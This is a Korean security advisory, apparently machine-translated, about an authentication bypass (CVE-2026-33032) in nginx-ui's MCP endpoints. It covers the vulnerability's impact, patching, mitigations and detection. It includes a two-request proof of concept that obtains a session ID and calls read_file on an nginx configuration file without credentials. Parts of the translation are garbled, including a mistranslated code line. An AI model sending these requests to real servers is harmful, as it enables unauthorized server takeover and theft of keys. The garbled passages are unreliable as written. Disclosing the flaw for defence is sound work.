1. 취약점에 대한 설명
Nginx UI 는 널리 사용되는 오픈 소스 그래픽 관리 도구입니다. 통합된 MCP (모델 컨텍스트 프로토콜) 코드 구현의 부주의로 인한 심각한 인증 우회 취약점이 인터페이스에 존재하며, 코드명은 MCPwn아니요. CVE-2026-33032.
이 취약점의 핵심 원인은 경로 등록의 논리 오류입니다:/mcp 엔드포인트는 다음에 의해 영향을 받습니다. AuthRequired() 미들웨어 보호에 대한 실제 도구 호출 지침을 수신하는 데 사용됩니다. /mcp_message 배포 시 엔드포인트이 인증 미들웨어가 누락되었습니다.. 따라서 이 UI에 네트워크 액세스 권한이 있는 공격자는 자격 증명 없이도 Nginx 서비스를 장악할 수 있습니다.
2. 취약점의 영향
•CVE 번호: CVE-2026-33032
•닉네임: MCPwn
•CVSS 3.1 등급:9.8(중요) (벡터: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
•취약점 유형인증 바이패스 (CWE-306)
•영향을 받는 버전:nginx-ui < 2.3.4
•개정: nginx-ui ≥ 2.3.4
•기술적 영향:
•임의 구성 변경통해 편집_설정 이 도구는 서버 블록을 다시 작성하여 공격자가 제어하는 업스트림 서버를 삽입합니다.
•서비스 인수인계통해 reload_nginx 즉각적인 효과가 있는 악의적인 구성, 또는 stop_nginx 서비스 거부(DoS)를 일으킬 수 있습니다.
•민감한 정보 유출: 활용도 읽기_파일 도구를 사용하여 TLS 개인 키, 시스템 자격 증명 등과 같은 민감한 파일을 읽을 수 있습니다.
•지속성 제어공격자는 다음을 사용할 수 있습니다. create_cert 제어되는 인증서를 재발급하거나 다른 취약점과 결합하여 장기적으로 잠복합니다.
3. 개념 증명(POC)
공격 체인은 매우 간단하며, 탈취를 완료하는 데 단 두 번의 HTTP 요청만 필요합니다:
1단계: 세션 ID 가져오기
공격자는 후속 명령을 실행하는 데 필요한 세션 식별자를 얻기 위해 제한되지 않은 SSE 스트림 엔드포인트에 요청을 보냅니다.
GET /mcp HTTP/1.1 호스트: :9000
예상 응답: 포함된 목록을 반환합니다. 세션ID=XYZ 데이터 흐름 .
2단계: 상승된 권한 도구 명령 실행하기
획득한 세션ID 向 /mcp_message 예를 들어 민감한 파일을 읽기 위해 JSON-RPC 호출을 보냅니다:
POST /mcp_message?sessionID=XYZ
HTTP/1.1
호스트: :9000
Content-Type: application/json
{ "jsonrpc": "2.0", "method": "read_file", "params": { "path":"/etc/nginx/nginx.conf" }, "id": 1 }
취약점 익스플로잇 체인(체인 )
이 취약점은 종종 다음과 관련이 있습니다. CVE-2026-27944(무단 백업 다운로드 취약점)을 함께 사용합니다. 후자는 다음을 손상시킬 수 있습니다. 노드_비밀33032 취약점을 수정한 후에도 키가 적시에 회전되지 않으면 공격자는 여전히 MCP 인터페이스에 대한 액세스 권한을 유지할 수 있습니다.
4. 재활 제안 또는 프로그램
4.1 코어 수리
•지금 업그레이드nginx-ui를 2.3.4 이상입니다. 경로 등록에 공식 패치가 적용되었습니다. AuthRequired() 전화.
// 코드 스니펫 수정
r.POST("/mcp_message", 인증 필요(), mcpMessageHandler)
4.2 완화 및 통합
•포트 격리nginx-ui 관리 포트(기본값 9000)를 공용 네트워크에 직접 노출하지 말고, 액세스 제어를 위해 VPN, 배스티온 또는 방화벽(화이트리스트 정책)을 사용하세요.
•기능 비활성화AI 지원 관리가 필요하지 않은 경우 구성 파일에서 MCP 모듈을 완전히 비활성화할 수 있습니다.
•키 회전업그레이드 시 반드시 회전 노드_비밀패널에 저장된 SSL 키와 모든 민감한 자격 증명이 저장됩니다.
4.3 탐지 수단
•자동화된 테스트사용 가능 keraattin/CVE-2026-33032 제공된 Python 스크립트 또는 Nmap NSE 플러그인을 통한 비파괴 검사.
5. 참고 인용
최고 보안 책임자의 원본 기사, 복제할 경우 출처 표시: https://www.cncso.com/kr/nginx-ui-mcp-authentication-bypass.html